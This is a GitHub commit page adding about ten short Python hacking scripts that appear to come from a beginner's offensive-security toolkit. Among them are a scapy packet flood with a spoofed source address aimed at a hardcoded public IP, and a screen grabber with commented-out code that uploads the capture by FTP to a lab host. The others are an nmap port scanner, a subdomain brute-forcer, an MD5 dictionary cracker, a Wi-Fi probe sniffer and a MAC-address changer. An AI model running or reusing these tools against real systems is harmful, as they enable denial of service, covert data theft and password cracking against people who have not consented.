-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
dff2cbe
commit e71d4be
Showing
12 changed files
with
2,746 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
import sys | ||
import requests | ||
import socket | ||
import json | ||
|
||
if len(sys.argv) < 2: | ||
print("Usage: " + sys.argv[0] + "<url>") | ||
sys.exit(1) | ||
|
||
req = requests.get("https://"+sys.argv[1]) | ||
print("\n"+str(req.headers)) | ||
|
||
gethostby_ = socket.gethostbyname(sys.argv[1]) | ||
print("\nThe IP address of "+sys.argv[1]+" is: "+gethostby_ + "\n") | ||
|
||
#ipinfo.io | ||
|
||
req_two = requests.get("https://ipinfo.io/"+gethostby_+"/json") | ||
resp_ = json.loads(req_two.text) | ||
|
||
print("Location: "+resp_["loc"]) | ||
print("Region: "+resp_["region"]) | ||
print("City: "+resp_["city"]) | ||
print("Country: "+resp_["country"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
import nmap | ||
import sys | ||
|
||
target = str(sys.argv[1]) | ||
ports = [21,22,80,139,443,8080] | ||
|
||
scan_v = nmap.PortScanner() | ||
|
||
print("\nScanning",target,"for ports 21,22,80,139,443 and 8080...\n") | ||
|
||
for port in ports: | ||
portscan = scan_v.scan(target,str(port)) | ||
print("Port",port," is ",portscan['scan'][list(portscan['scan'])[0]]['tcp'][port]['state']) | ||
|
||
print("\nHost",target," is ",portscan['scan'][list(portscan['scan'])[0]]['status']['state']) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
import wx | ||
import os | ||
import ftplib | ||
|
||
w = wx.App() | ||
screen = wx.ScreenDC() | ||
size = screen.GetSize() | ||
bmap = wx.Bitmap(size[0],size[1]) | ||
memo = wx.MemoryDC(bmap) | ||
memo.Blit(0,0,size[0],size[1],screen,0,0) | ||
|
||
del memo | ||
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG) | ||
|
||
# sess_ = ftplib.FTP("192.168.85.128", "msfadmin", "msfadmin") | ||
# file_ = open("grabbed.png", "rb") | ||
# sess_.storbinary("STOR /tmp/grabbed.png", file_) | ||
|
||
# file_.close() | ||
# sess_.quit() | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
import socket | ||
|
||
sock_ = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | ||
sock_.connect((socket.gethostname(),9337)) | ||
msg = sock_.recv(1024) | ||
sock_.close() | ||
print(msg.decode("ascii")) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
import socket | ||
|
||
host = socket.gethostname() | ||
port = 9337 | ||
|
||
sock_ = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | ||
sock_.bind((host,port)) | ||
sock_.listen(1) | ||
|
||
print("\nServer started...\n") | ||
|
||
conn,addr = sock_.accept() | ||
|
||
print("Connection established with: ",str(addr)) | ||
|
||
message = "\nThank you for connecting "+str(addr) | ||
conn.send(message.encode("ascii")) | ||
conn.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
from scapy.all import * | ||
|
||
def floodz(source,target): | ||
for source_p in range(100,150): | ||
IPlayer = IP(src=source,dst=target) | ||
TCPlayer = TCP(sport=source_p,dport=600) | ||
pkt = IPlayer/TCPlayer | ||
send(pkt) | ||
|
||
source = "127.0.0.1" | ||
target = "162.241.24.197" | ||
floodz(source,target) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
import requests | ||
import sys | ||
|
||
sub_list = open("subdomains-1000.txt").read() | ||
subs = sub_list.splitlines() | ||
|
||
for sub in subs: | ||
url_to_check = f"http://{sub}.{sys.argv[1]}" | ||
|
||
try: | ||
requests.get(url_to_check) | ||
|
||
except requests.ConnectionError: | ||
pass | ||
|
||
else: | ||
print("Valid domain: ",url_to_check) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
import hashlib | ||
import argparse | ||
|
||
parser = argparse.ArgumentParser(description="MD5 Cracker") | ||
parser.add_argument("-md5", dest="hash", help="md5 hash", required=True) | ||
parser.add_argument("-w", dest="wordlist", help="wordlist", required=True) | ||
parsed_args = parser.parse_args() | ||
|
||
def main(): | ||
hash_cracked = "" | ||
with open(parsed_args.wordlist) as file: | ||
for line in file: | ||
line = line.strip() | ||
if hashlib.md5(bytes(line,encoding="utf-8")).hexdigest() == parsed_args.hash: | ||
hash_cracked = line | ||
print("\nMD5-hash has been successfully cracked. The value is %s."%line) | ||
if hash_cracked == "": | ||
print("\nFailed to crack the hash. Try using a bigger/different dictionary.") | ||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
from scapy.all import * | ||
import os | ||
|
||
iface = "wlan0" | ||
|
||
def h_packet(packet): | ||
if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq): | ||
print "SSID identified " + packet.info | ||
|
||
os.system("iwconfig " + iface + "mode monitor") | ||
|
||
print "Sniffing traffic on interface " + iface | ||
sniff(iface=iface, prn=h_packet) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
import random | ||
import os | ||
import subprocess | ||
|
||
def get_rand(): | ||
return random.choice("abcdef0123456789") | ||
|
||
def new_mac(): | ||
new_ = "" | ||
for i in range(0,5): | ||
new_ += get_rand() + get_rand() + ":" | ||
new_ += get_rand() + get_rand() | ||
return new_ | ||
|
||
print(os.system("ifconfig eth0 | grep ether | grep -oE [0-9abcdef:]{17}")) | ||
subprocess.call(["sudo","ifconfig","eth0","down"]) | ||
new_m = new_mac() | ||
subprocess.call(["sudo","ifconfig","eth0","hw","ether","%s"%new_m]) | ||
subprocess.call(["sudo","ifconfig","eth0","up"]) | ||
print(os.system("ifconfig eth0 | grep ether | grep -oE [0-9abcdef:]{17}")) | ||
|
||
|
Oops, something went wrong.